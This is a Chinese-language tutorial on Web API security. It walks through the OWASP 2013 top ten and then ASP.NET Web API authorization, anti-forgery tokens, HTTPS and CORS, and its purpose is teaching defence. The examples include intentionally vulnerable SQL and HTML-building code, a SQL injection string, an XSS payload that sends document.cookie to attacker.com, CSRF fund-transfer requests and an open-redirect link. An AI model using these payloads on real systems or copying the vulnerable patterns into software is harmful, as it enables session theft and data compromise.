Web API 入門指南 - 閒話安全
2013-09-21 18:56 by 微軟互聯網開發支持, 6776 閱讀, 46 評論, 收藏, 編輯Web API入門指南有些朋友回覆問了些安全方面的問題,安全方面能夠寫的東西實在太多了,這裏儘可能圍繞着Web API的安全性來展開,介紹一些安全的基本概念,常見安全隱患、相關的防護技巧以及Web API提供的安全機制。html
目錄
- Web API 安全概覽
- 安全隱患
- 1. 注入(Injection)
- 2. 無效認證和Session管理方式(Broken Authentication and Session Management)
- 3. 跨站腳本(Cross-Site Scripting (XSS))
- 4. 直接引用非安全對象(Insecure Direct Object References)
- 5. 錯誤的安全配置(Security Misconfiguration)
- 6. 暴露敏感數據(Sensitive Data Exposure)
- 7. 功能級權限控制缺失(Missing Function Level Access Control)
- 8. 僞造跨站請求(Cross-Site Request Forgery)
- 9. 使用已知安全隱患組件(Using Components with Known Vulnerabilities)
- 10. 未驗證跳轉(Unvalidated Redirects and Forwards)
- Web API安全機制
Web API 安全概覽
先引用下wikipedia信息安全的定義:即保護信息免受未經受權的進入、使用、披露、破壞、修改、檢視、記錄及銷燬,從而保證數據的機密性(Confidentiality)、完整性(Integrity)和可靠性(Availability)。java
機密性和完整性都很好理解,可靠性做爲信息安全的一個重要原則這裏特別解釋一下,即訪問信息的時候保證能夠訪問的到,有一種攻擊方式叫DOS/DDOS,即拒絕服務攻擊,專門破壞網站的可用性。web
Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.ajax
圍繞Web API安全,在不一樣的層次上有不一樣的防禦措施。例如,算法
- 網絡傳輸層https數據加密
- 認證方式Knowledge Factors/Ownership Factors/Two-Factor Security
- 服務器系統層權限管理,安全補丁升級更新
- IIS層認證/受權模塊管理
- .NET層面的Identity管理,認證模塊管理
- Web API受權管理,輸入驗證
- 數據庫層面數據加密,用戶權限管理
下圖是一個概覽。spring
安全隱患
安全隱患種類繁多,這裏簡單介紹下OWASP 2013年票選前十位安全隱患。sql
1. 注入(Injection)
注入是指輸入中包含惡意代碼(在解釋器中會被做爲語句執行而非純文本),直接被傳遞給給解釋器並執行,那麼攻擊者就能夠竊取、修改或者破壞數據。數據庫
注入有不少種類型,最多見的如SQL注入、LDAP注入、OS命令注入等。json
示例
如下代碼是一個典型的SQL注入隱患
1
|
String query =
"SELECT * FROM accounts WHERE customerName='"
+ request.getParameter(
"name"
) +
"'"
;
|
若是輸入中customerName後面加上一個' or '1'='1,能夠想象全部的accounts表數據都回被返回。
防護
- 經過封裝API以參數形式來調用解釋器,避免將整個解釋器功能暴露給客戶端。
- 若是沒有封裝好的安全API,能夠考慮將特殊字符轉義以後再傳遞給解釋器。
- 更加激進一點的話能夠提供一個輸入的白名單,只有名單上的數據才能夠進入解釋器。
2. 無效認證和Session管理方式(Broken Authentication and Session Management)
開發人員常常本身編寫認證或session管理模塊,可是這種模塊須要考慮的因素衆多,很難正確完整的實現。因此常常會在登入登出、密碼管理、超時設置、安全問題、賬戶更新等方面存在安全隱患,給攻擊者以可乘之機。
示例
- 用戶密碼用明文保存,例如2011年12月多家網站數據泄露,其中就發現國內知名技術網站竟然也用明文存儲用戶密碼。單純的客戶密碼複雜度高仍是不夠,服務器的坑爹的實現仍是會致使客戶裸奔。
- 用戶密碼能夠被特殊操做覆蓋。例如不正確的實現密碼更改功能、恢復密碼功能等都有可能形成密碼被直接更改。
- 網頁URL中包含Session ID。例如你發現一個有趣的網頁,而後把連接經過聊天工具貼給其餘人,可是這個連接中包含了你的session id,別人點擊這個連接就直接使用了你的session,同時他也能夠做任何你能夠在該網站上容許的操做,例如買張手機衝值卡。
- Session ID不會timeout,或者session/token/SSO token在登出的時候沒有將其失效。
- 用戶認證信息、Session ID使用未加密鏈接傳輸。這裏要提一下博客園的認證鏈接也是不加密的,經過抓報工具很容易抓到用戶的密碼信息。目前來講咱們能夠作的是爲博客園專門設置一個密碼,千萬別用本身本身信用卡或支付寶密碼。
防護
- 推薦直接使用被普遍應用的認證控件及Session管理模塊。
3. 跨站腳本(Cross-Site Scripting (XSS))
容許跨站腳本是Web 2.0時代網站最廣泛的問題。若是網站沒有對用戶提交的數據加以驗證而直接輸出至網頁,那麼惡意用戶就能夠在網頁中注入腳原本竊取用戶數據。
示例
例如網站經過如下代碼直接構造網頁輸出,
1
|
(String) page +=
"<input name='creditcard' type='TEXT' value='"
+ request.getParameter(
"CC"
) +
"'>"
;
|
攻擊者輸入如下數據,
1
|
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.
|
當該數據被輸出到頁面的時候,每一個訪問該頁面的用戶cookie就自動被提交到了攻擊者定義好的網站。
防護
- 推薦將全部用戶輸入數據進行轉義
- 激進的方法是提供一個白名單控制用戶輸入
- 對於富文本輸入可使用anti-xss library來處理輸入,例如Microsoft AntiXSS library.
4. 直接對象引用(Insecure Direct Object References)
這個問題在動態網頁中也至關廣泛,指的是頁面存在對數據對象的鍵/名字的直接引用,而網站程序沒有驗證用戶是否有訪問目標對象的權限。
示例
例如一個網站經過如下代碼返回客戶信息,
1
2
3
4
|
String query =
"SELECT * FROM accts WHERE account = ?"
;
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter(
"acct"
));
ResultSet results = pstmt.executeQuery( );
|
攻擊者能夠經過修改querystring來查詢任何人的信息
防護
- 使用用戶級別或Session級別的間接對象引用,好比用戶界面上下拉框中選項對應簡單數字而不是對象的數據庫鍵值,界面數字與對象鍵值之間的對應關係在用戶級別或session級別維護。
- 控制訪問,在真正的操做以前判斷用戶是否有權限執行該操做或訪問目標數據。
5. 錯誤的安全配置(Security Misconfiguration)
安全配置可能在各個級別(platform/web server/application server/database/framework/custom code)出錯,開發人員須要同系統管理合做來確保合理配置。
示例
配置問題的範例比較多樣,常見的幾種以下,
- 服務器使用過時或存在安全漏洞的軟件
- 安裝了沒有必要的功能
- 系統默認賬戶沒有禁用或使用默認密碼
- 出錯信息中包含錯誤細節(調用棧信息)
- 使用的開發框架中的安全設置沒有正確配置
防護
- 開發可複用自動化流程來部署環境,保證開發,測試與生產環境具備相同配置
- 及時更新軟件、系統以及使用的框架
- 架構設計充分考慮組件的安全邊界分割
- 使用專業掃描工具按期檢查安全漏洞
6. 暴露敏感數據(Sensitive Data Exposure)
這種漏洞就是致使知名網站用戶信息泄露的關鍵,經過明文存儲敏感數據。
示例
- 密碼數據庫中經過明文或者經過unsalted hash來存儲。攻擊經過文件上傳漏洞獲得密碼文件,全部的密碼都會泄露。
- 另一個典型示例就是用戶登陸使用未加密鏈接,這裏不舉例說明了。。。
防護
- 加密全部必須的敏感數據
- 避免存儲沒必要須的敏感數據
- 使用強加密算法
- 使用專門設計的密碼加密算法
- 禁用包含敏感數據的form中的自動完成功能,禁用包含敏感數據的頁面緩存
7. 功能級權限控制缺失(Missing Function Level Access Control)
功能級別權限控制通常是寫在代碼中或者經過程序的配置文件來完成,可是惋惜的是開發者常常忘記添加一些功能的權限控制代碼。
示例
例如如下連接本該只有admin才能訪問,但若是匿名用戶或者非admin用戶能夠直接在瀏覽器中訪問該連接,說明網站存在功能級權限控制漏洞。
防護
- 不要hard code權限控制,須要創建一種能夠比較容易更新和監測權限控制的機制
- 默認拒絕全部訪問,訪問任何功能都須要被賦予特定的權限
- 若是某功能在一個workflow中,須要確認全部的前提條件都在正確的狀態,而後容許訪問該功能
8. 僞造跨站請求(Cross-Site Request Forgery)
一樣是跨站請求,這種與問題3的不一樣之處在於這個請求是從釣魚網站上發起的。
示例
例如釣魚網站上包含了下面的隱藏代碼,
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
這行代碼的做用就是一個在example.com網站的轉賬請求,客戶訪問釣魚網站時,若是也同時登陸了example.com或者保留了example.com的登陸狀態,那個相應的隱藏請求就會被成功執行。
防護
- 推薦使用session級別的惟一token保存在hidden field,這樣該值就會被包含在請求體中,這樣釣魚網站的請求就沒法得知該token從而會使請求失效。
9. 使用已知安全隱患組件(Using Components with Known Vulnerabilities)
幾乎每一個程序都有這個問題,由於大多數人不會關心本身引用的庫文件是否存在已知安全漏洞,並且一旦部署成功就不會再有人關心是否有組件須要升級。然而這些組件在服務器中運行,擁有至關高的權限去訪問系統中的各類資源,一旦攻擊者利用該組件已知漏洞,那麼竊取或破壞信息也將不是難事。
示例
如下兩個組件都存在已知的安全缺陷從而可讓攻擊者得到服務器最高權限,可是在2011年他們被下載了22M次之多,可是其中有多少被更新了,多少還在繼續使用呢。
防護
- 肯定系統使用的全部組件及其版本,包括相應的依賴組件
- 關注這些組件相應的項目郵件組、issue數據庫的安全更新
- 定義組件安全使用策略,避免濫用組件
- 若是可能的話對組件進行包裝,從而禁用其不安全的功能
10. 未驗證跳轉(Unvalidated Redirects and Forwards)
不少網站都常常會須要進行頁面跳轉,並且有些跳轉會根據用戶輸入來決定,這樣就給了攻擊者可乘之機,從而可能將用戶導向惡意網站或者未受權連接。
示例
下面頁面請求根據query string url字段來進行跳轉,這樣攻擊者很容易僞造相似於如下的跳轉連接將客戶導向到釣魚網站。
http://www.example.com/redirect.jsp?url=evil.com
又如未受權用戶經過下面連接跳過受權檢查直接到admin頁面
http://www.example.com/boring.jsp?fwd=admin.jsp
防護
- 避免跳轉
- 不要根據用戶輸入來跳轉
- 若是必須根據輸入跳轉,驗證該輸入而且該用戶具有訪問該目標路徑的權限
- 若是必須根據輸入跳轉,推薦根據用戶輸入來內部決定對應的跳轉目標,不直接使用輸入
Web API安全機制
Web API包含了一套完整的安全機制,並且具有不錯的擴展性,這一節咱們主要介紹Web API提供的一些基本安全相關的功能。
認證與受權(Authentication and Authorization)
先給認證和受權下個定義。
什麼是認證?簡單來講認證就是搞清楚用戶是誰。
什麼是受權?受權就是搞清楚用戶能夠作什麼。
認證
Web API的認證取決於宿主環境配置的認證方式,好比Web API host在IIS,那麼在IIS相應的網站上認證配置抑或自定義的認證模塊一樣會做用於Web API。
在Web API中檢查一個請求是否通過認證,能夠經過如下屬性來判斷,
Thread.CurrentPrincipal.Identity.IsAuthenticated
若是程序須要採用自定義的認證方式,須要同時設置如下兩個屬性,
- Thread.CurrentPrincipal. This property is the standard way to set the thread's principal in .NET.
- HttpContext.Current.User. This property is specific to ASP.NET.
private void SetPrincipal(IPrincipal principal) { Thread.CurrentPrincipal = principal; if (HttpContext.Current != null) { HttpContext.Current.User = principal; } }
受權
受權在咱們編寫API的時候常常會涉及到,Web API也提供了比較完整的受權檢查機制。
若是咱們想知道認證的用戶信息,能夠經過ApiController.User來查看。
public HttpResponseMessage Get() { if (User.IsInRole("Administrators")) { // ... } }
另外咱們能夠在不一樣級別使用AuthorizeAtrribute來控制不一樣級別的受權訪問。
若是咱們但願在全局全部的Controller控制受權,只有受權用戶能夠訪問的話,能夠經過如下方式,
public static void Register(HttpConfiguration config) { config.Filters.Add(new AuthorizeAttribute()); }
若是但願控制在個別Controller級別,
[Authorize] public class ValuesController : ApiController { public HttpResponseMessage Get(int id) { ... } public HttpResponseMessage Post() { ... } }
若是但願控制在個別Action級別,
public class ValuesController : ApiController { public HttpResponseMessage Get() { ... } // Require authorization for a specific action. [Authorize] public HttpResponseMessage Post() { ... } }
若是但願容許個別Action匿名訪問,
[Authorize] public class ValuesController : ApiController { [AllowAnonymous] public HttpResponseMessage Get() { ... } public HttpResponseMessage Post() { ... } }
若是但願容許個別用戶或者用戶組,
// Restrict by user: [Authorize(Users="Alice,Bob")] public class ValuesController : ApiController { } // Restrict by role: [Authorize(Roles="Administrators")] public class ValuesController : ApiController { }
僞造跨站請求(Cross-Site Request Forgery Attacks)
再來複習一遍什麼是僞造跨站請求攻擊
1. 用戶成功登陸了www.example.com,客戶端保存了該網站的cookie,而且沒有logout。
2. 用戶接下來訪問了另一個惡意網站,包含以下代碼
<h1>You Are a Winner!</h1> <form action="http://example.com/api/account" method="post"> <input type="hidden" name="Transaction" value="withdraw" /> <input type="hidden" name="Amount" value="1000000" /> <input type="submit" value="Click Me"/> </form>
3. 用戶點擊submit按鈕,瀏覽器向example.com發起請求到服務器,執行了攻擊者指望的操做。
上面的事例須要用戶點擊按鈕,但網頁也能夠經過簡單的腳本直接在網頁加載過程當中自動發送各類請求出去。
正如咱們以前提到的防護方案所說,ASP.NET MVC中能夠經過下面簡單的代碼能夠在頁面中添加一個隱藏field,存放一個隨機代碼,這個隨機碼會與cookie一塊兒在服務器經過校驗。這樣其餘網站沒法獲得不一樣用戶的隨機代碼,也就沒法成功執行相應的請求。
@using (Html.BeginForm("Manage", "Account")) { @Html.AntiForgeryToken() }
<form action="/Home/Test" method="post"> <input name="__RequestVerificationToken" type="hidden" value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" /> <input type="submit" value="Submit" /> </form>
對於沒有form的ajax請求,咱們沒法經過hidden field來自動提交隨機碼,能夠經過如下方式在客戶端請求頭中嵌入隨機碼,而後在服務器校驗,
<script> @functions{ public string TokenHeaderValue() { string cookieToken, formToken; AntiForgery.GetTokens(null, out cookieToken, out formToken); return cookieToken + ":" + formToken; } } $.ajax("api/values", { type: "post", contentType: "application/json", data: { }, // JSON data goes here dataType: "json", headers: { 'RequestVerificationToken': '@TokenHeaderValue()' } }); </script>
void ValidateRequestHeader(HttpRequestMessage request) { string cookieToken = ""; string formToken = ""; IEnumerable tokenHeaders; if (request.Headers.TryGetValues("RequestVerificationToken", out tokenHeaders)) { string[] tokens = tokenHeaders.First().Split(':'); if (tokens.Length == 2) { cookieToken = tokens[0].Trim(); formToken = tokens[1].Trim(); } } AntiForgery.Validate(cookieToken, formToken); }
安全連接(SSL)
對於須要啓用安全連接的地址,例如認證頁面,能夠經過如下方式定義AuthorizationFilterAttribute,來定義哪些action必須經過https訪問。
public class RequireHttpsAttribute : AuthorizationFilterAttribute { public override void OnAuthorization(HttpActionContext actionContext) { if (actionContext.Request.RequestUri.Scheme != Uri.UriSchemeHttps) { actionContext.Response = new HttpResponseMessage(System.Net.HttpStatusCode.Forbidden) { ReasonPhrase = "HTTPS Required" }; } else { base.OnAuthorization(actionContext); } } }
public class ValuesController : ApiController { [RequireHttps] public HttpResponseMessage Get() { ... } }
在Visual Studio裏面測試的時候能夠經過下面的設置來啓用SSL連接
IIS中能夠經過以下設置來啓用SSL連接
<system.webServer> <security> <access sslFlags="Ssl, SslNegotiateCert" /> <!-- To require a client cert: --> <!-- <access sslFlags="Ssl, SslRequireCert" /> --> </security> </system.webServer>
跨域請求(Cross-Origin Requests)
跨域請求與前面的跨站僞造請求相似,有些狀況下咱們須要在網頁中經過ajax去其餘網站上請求資源,可是瀏覽器通常會阻止顯示ajax請求從其餘網站收到的回覆(注意瀏覽器其實發送了請求,但只會顯示出錯),若是咱們但願合理的跨域請求能夠成功執行並顯示成功,咱們須要在目標網站上添加邏輯來針對請求域啓用跨域請求。
要啓用跨域請求首先要從nuget上添加一個Cors庫引用,
Install-Package Microsoft.AspNet.WebApi.Cors
而後在WebApiConfig.Register中添加如下代碼
using System.Web.Http; namespace WebService { public static class WebApiConfig { public static void Register(HttpConfiguration config) { // New code config.EnableCors(); config.Routes.MapHttpRoute( name: "DefaultApi", routeTemplate: "api/{controller}/{id}", defaults: new { id = RouteParameter.Optional } ); } } }
接下來就能夠在不一樣級別使用EnableCors屬性來控制啓用跨域請求了,
Global級別
public static class WebApiConfig { public static void Register(HttpConfiguration config) { var cors = new EnableCorsAttribute("www.example.com", "*", "*"); config.EnableCors(cors); // ... } }
Controller級別
[EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")] public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } public HttpResponseMessage GetItem(int id) { ... } public HttpResponseMessage Post() { ... } [DisableCors] public HttpResponseMessage PutItem(int id) { ... } }
Action級別
public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } [EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")] public HttpResponseMessage GetItem(int id) { ... } public HttpResponseMessage Post() { ... } public HttpResponseMessage PutItem(int id) { ... } }
容許跨域請求如何作到的?
瀏覽器會根據服務器回覆的頭來檢查是否容許該跨域請求,好比瀏覽器的跨域請求頭以下,
GET http://myservice.azurewebsites.net/api/test HTTP/1.1 Referer: http://myclient.azurewebsites.net/ Accept: */* Accept-Language: en-US Origin: http://myclient.azurewebsites.net Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) Host: myservice.azurewebsites.net
若是服務器容許跨域,會添加一個Access-Control-Allow-Origin頭來通知瀏覽器該請求應該被容許,
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Origin: http://myclient.azurewebsites.net Date: Wed, 05 Jun 2013 06:27:30 GMT Content-Length: 17 GET: Test message